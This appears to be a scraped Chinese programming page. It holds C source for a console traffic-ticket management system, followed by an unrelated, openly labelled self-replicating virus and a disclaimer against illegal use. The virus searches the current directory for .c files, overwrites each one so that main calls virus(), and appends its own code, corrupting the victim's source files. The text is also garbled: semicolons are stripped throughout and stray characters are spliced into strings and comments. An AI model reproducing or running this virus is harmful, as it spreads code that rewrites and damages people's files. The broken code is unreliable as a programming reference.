#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
#include <string.h>
#include <time.h>
typedef enum {s_park=1, s_speed, s_signal, s_other} SheetType
typedef enum {f_id, f_car, f_driver, f_police} FindType
typedef struct Sheet
{
signed long id//罚单号
char carNo[20]//车牌号
char driver[20]//司机名
char police[20]//警察编号
SheetType type//罚单类型
tm time//出单日期
}Sheet
typedef struct Node
{
Sheet data
Node* next
}Node
static Node* begin=NULL//哨兵结点
static signed long len=0//链表长度
void printMenu()//打印菜单
void printBye()//打印退出界面
void printList(Node* bg)//打印所有罚单信息
void printNode(Sheet sheet)//打印单条罚单
Node* lookupSheet(void* pInfo, signed short* n,
FindType type=f_id)//根据类型查询罚单。成功返回结点。侍指岁失败NULL
int addNode(Node* bg, Sheet sheet)//添加罚单。成功返回链表长度。内存分配失败0
int deleteNode(signed short stid)//根据罚单号删除罚单。
int total(char* driver, tm date1, tm date2, signed short* icar,
signed short* ispeed, signed short* isignal, signed short* iother)//统计
int getListlen(Node* bg)
void freeList(Node* bg)//释放链表
void main()
{
//初始化链表。
begin=(Node*)malloc(sizeof(Node))
begin->next=NULL
printf("----------------------------------------------------------------------------\n")
printf("--- 《交通罚单管理系统》---\n")
printf("---沙支夸依 2007-12-24 ---\n")
printf("----------------------------------------------------------------------------\n")
printf("||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\n")
printMenu()
while (1)
{
fflush(stdin)
char cmd=getchar()
Sheet sheet
memset(&sheet, 0, sizeof(Sheet))
switch (cmd)
{
case '1':
printf("---添加交通处罚单信息。(车牌号为 0 结束)\n")
while (1)
{
printf("请输入违章车辆号: ")
fflush(stdin)
gets(sheet.carNo)
if (!strcmp(sheet.carNo,"0"))
break
printf("请输老睁入逗磨违章司机姓名: ")
fflush(stdin)
gets(sheet.driver)
printf("请输入开单交警编号: ")
fflush(stdin)
gets(sheet.police)
printf("请选择违章类型(1-违章停车 2-超速 3-不按信号灯行使 4-其它):")
scanf("%d", &sheet.type)
printf("请输入开单日期(例 2007-12-24): ")
scanf("%d-%d-%d", &sheet.time.tm_year, &sheet.time.tm_mon, &sheet.time.tm_mday)
int succ=addNode(begin, sheet)
if (!succ)
{
printf("内存错误!请重新输入!\n")
}
else
printf("添加成功!当前记录数: %d\n", len)
printf("\n")
}
printMenu()
break
case '2':
printf("---删除交通处罚单信息。(罚单号为 0 结束)\n")
while (1)
{
signed short stid=0
printf("请输入要删除的罚单号:")
scanf("%d", &stid)
if (!stid)
break
Node* delNode=lookupSheet(&stid, NULL)
if (!delNode)
printf("对不起!你要删除的记录不存在。\n")
else
{
printNode(delNode->data)
printf("您确定要删除这条记录吗?(任意键删除/ n 取消)\n")
fflush(stdin)
char cDelete=getchar()
if ('n'==cDelete)
continue
printf("删除成功!剩余记录数: %d\n",deleteNode(stid))
}
printf("\n")
}
printMenu()
break
case '3':
printf("---查询交通处罚单信息。(输入 0 结束)\n")
while (1)
{
printf("请选择查询类型: 1-车辆号 2-司机 3-交警 4-退出\n>>>")
Node* findNode=NULL
int findtype=0
scanf("%d", &findtype)
if (4==findtype)
break
char findInfo[20]
signed short findcout=0
switch (findtype)
{
case 1:
printf("请输入车辆号: ")
fflush(stdin)
gets(findInfo)
findNode=lookupSheet(findInfo, &findcout, f_car)
if (getListlen(findNode)>=5)
{
printf("---该车辆违章超过5次。建议重罚。\n")
}
break
case 2:
printf("请输入司机姓名: ")
fflush(stdin)
gets(findInfo)
findNode=lookupSheet(findInfo, &findcout, f_driver)
if (getListlen(findNode)>=5)
{
printf("---该司机违章超过5次。建议重罚。\n")
}
break
case 3:
default:
printf("请输入交警编号: ")
fflush(stdin)
gets(findInfo)
findNode=lookupSheet(findInfo, &findcout, f_police)
}
if (!findNode)
printf("对不起!你要查询的记录不存在。\n")
else
{
printList(findNode)
freeList(findNode)
}
printf("\n")
}
printMenu()
break
case '4':
printf("---统计司机处罚单信息。(输入 0 结束)\n")
while (1)
{
printf("请输入司机姓名: ")
char driver[20]
fflush(stdin)
gets(driver)
if (!strcmp(driver, "0"))
break
printf("请输入起始日期(如 2007-12-24): ")
tm date1
memset(&date1, 0, sizeof(tm))
scanf("%d-%d-%d", &date1.tm_year, &date1.tm_mon, &date1.tm_mday)
printf("请输入终止日期(如 2007-12-24): ")
tm date2
memset(&date2, 0, sizeof(tm))
scanf("%d-%d-%d", &date2.tm_year, &date2.tm_mon, &date2.tm_mday)
signed short car, speed, signal, other
int sum=total(driver, date1, date2, &car, &speed, &signal, &other)
printf("司机姓名:%-10s 违章停车:%2d 超速:%2d 不按信号灯行使:%2d 其它:%2d 共计:%2d\n",
driver, car, speed, signal, other, car+speed+signal+other)
printf("\n")
}
printMenu()
break
case '5':
printList(begin)
printMenu()
break
case '6':
printf("---修改交通处罚单信息。(输入 0 结束)\n")
while (1)
{
signed short stid=0
printf("请输入要修改的交通处罚单号:")
fflush(stdin)
scanf("%d", &stid)
if (!stid)
break
Node* updataNode=lookupSheet(&stid, NULL)
if (!updataNode)
printf("对不起!你要修改的记录不存在。\n")
else
{
printNode(updataNode->data)
memset(&sheet, 0, sizeof(Sheet))
sheet.id=stid
printf("请修改违章车辆号: ")
fflush(stdin)
gets(sheet.carNo)
printf("请修改违章司机姓名: ")
fflush(stdin)
gets(sheet.driver)
printf("请修改开单交警编号: ")
fflush(stdin)
gets(sheet.police)
printf("请修改违章类型(1-违章停车 2-超速 3-不按信号灯行使 4-其它):")
scanf("%d", &sheet.type)
printf("请修改开单日期(例 2007-12-24): ")
scanf("%d-%d-%d", &sheet.time.tm_year, &sheet.time.tm_mon, &sheet.time.tm_mday)
updataNode->data=sheet
printNode(updataNode->data)
}
printf("\n")
}
printMenu()
break
case '7':
printBye()
freeList(begin)
exit(0)
break
default:
printMenu()
}
}
}
void printMenu()
{
printf("----------------------------------------------------------------------------\n")
printf("--- 1、添加交通处罚单信息。2、删除交通处罚单信息。 ---\n")
printf("--- 3、查询交通处罚单信息。4、统计司机处罚单信息。 ---\n")
printf("--- 5、浏览交通处罚单信息。6、修改交通处罚单信息。 ---\n")
printf("--- 7、退出。 ---\n")
printf("----------------------------------------------------------------------------\n")
printf(">>>")
}
void printBye()
{
printf("----------------------------------------------------------------------------\n")
printf("感谢您使用交通罚单管理系统 \n")
printf("再 见 \n")
printf("----------------------------------------------------------------------------\n")
}
void printNode(Sheet sheet)
{
char* type=NULL
switch (sheet.type)
{
case s_park:
type="违章停车"
break
case s_speed:
type="超速"
break
case s_signal:
type="不按信号灯行使"
break
case s_other:
default:
type="其它"
}
printf("罚单号:%-6d 车牌号:%-10s 司机名:%-10s 交警名:%-10s\n"
"罚单类型:%-15s 开单日期:%d-%d-%d\n",
sheet.id, sheet.carNo, sheet.driver, sheet.police,
type, sheet.time.tm_year, sheet.time.tm_mon, sheet.time.tm_mday)
printf("--------------------------------------------------------------------------\n")
}
void printList(Node* bg)
{
Node* temp=bg->next
if (!temp)
{
printf("暂时无记录可供浏览!\n")
}
while (temp)
{
printNode(temp->data)
temp=temp->next
}
}
Node* lookupSheet(void* pInfo, signed short* n, FindType type)
{
Node* result=NULL
if (type)
{
result=(Node*)malloc(sizeof(Node))
result->next=NULL
*n=0
}
Node* temp=begin->next
switch (type)
{
case f_id:
while (temp)
{
if (temp->data.id==*(signed long*)pInfo)
{
if (n)
*n=1
return temp
}
temp=temp->next
}
break
case f_car:
while (temp)
{
if (!strcmp(temp->data.carNo,(char*)pInfo))
{
addNode(result, temp->data)
(*n)++
}
temp=temp->next
}
break
case f_driver:
while (temp)
{
if (!strcmp(temp->data.driver,(char*)pInfo))
{
addNode(result, temp->data)
(*n)++
}
temp=temp->next
}
break
case f_police:
while (temp)
{
if (!strcmp(temp->data.police,(char*)pInfo))
{
addNode(result, temp->data)
(*n)++
}
temp=temp->next
}
break
}
return result
}
int addNode(Node* bg, Sheet sheet)
{
Node* temp=(Node*)malloc(sizeof(Node))
if (!temp)
return 0
if (bg==begin)
{
if (bg->next)
{
sheet.id=bg->next->data.id+1
}
else
sheet.id=1
}
temp->data=sheet
temp->next=bg->next
bg->next=temp
return ++len
}
int deleteNode(signed short stid)
{
Node* temp=begin
Node* pos=NULL
while (temp->next)
{
if (temp->next->data.id==stid)
{
pos=temp->next
temp->next=pos->next
free(pos)
return --len
}
temp=temp->next
}
return -1
}
int getListlen(Node* bg)
{
Node* temp=bg
int i=0
while (temp->next)
{
i++
temp=temp->next
}
return i
}
void freeList(Node* bg)
{
Node* temp=NULL
while (bg)
{
temp=bg->next
free(bg)
bg=temp
}
}
int total(char* driver, tm date1, tm date2, signed short* icar,
signed short* ispeed, signed short* isignal, signed short* iother)
{
signed short result=0
*icar=0
*ispeed=0
*isignal=0
*iother=0
Node* findNode=lookupSheet(driver, &result, f_driver)
if (!findNode)
{
free(findNode)
return 0
}
time_t o,n,nw
date1.tm_year-=1900
date2.tm_year-=1900
o=mktime(&date1)
n=mktime(&date2)
if (o<n)
{
time_t tp=o
o=n
n=tp
}
Node* temp=findNode->next
while (temp)
{
tm t=temp->data.time
t.tm_year-=1900
nw=mktime(&t)
if (nw>o||nw<n)
{
temp=temp->next
continue
}
switch (temp->data.type)
{
case 1:
(*icar)++
break
case 2:
(*ispeed)++
break
case 3:
(*isignal)++
break
case 4:
default:
(*iother)++
}
temp=temp->next
}
freeList(findNode)
return result
}
#include <stdio.h>#include <dir.h>
void main(void)
{
virus()
}
int virus()
{
struct ffblk ffblk
FILE *in,*out,*read
char *virus="virus.c"
char buf[50][80]
char *p
char *end="return"
char *bracket="}"
char *main="main"
char *include[2]={"stdio.h","dir.h"}
char *int_virus="int virus()"
char *buffer
int done,i,j=0,flag=0
printf("\nI have a virus. Writen by PuBin\n")
done = findfirst("*.c",&ffblk,0)
while (!done)
{
i=0
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next
}
do{
if(i>=50)
{
fclose(in)
goto next
}
p=fgets(buf[i],80,in)
i++
}while(p!=NULL)
fclose(in)
out=fopen(ffblk.ff_name,"w+t")
fputs("#include<stdio.h>\弊游n",out)
fputs("#include<dir.h>\n",out)
do
{
if(strstr(buf[j],main)!=NULL)
{
for(j<i-1j++)
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out)
else
{
if(flag==0)
{
flag=1
fputs("virus()\n",out)
}
fputs(buf[j],out)
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out)
j++
}
else
j++
}while(j<i-1)
read=fopen(virus,"rt")
do
{
p=fgets(buffer,80,read)
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out)
else
{
fputs(" char *virus=\"",out)
fputs(ffblk.ff_name,out)
fputs("\"\n",out)
}
p=fgets(buffer,80,read)
}
}while(p!=NULL)
fclose(read)
fclose(out)
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name)
next: done = findnext(&ffblk)
}
return 0
}
严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人神中概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严游卜山重。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)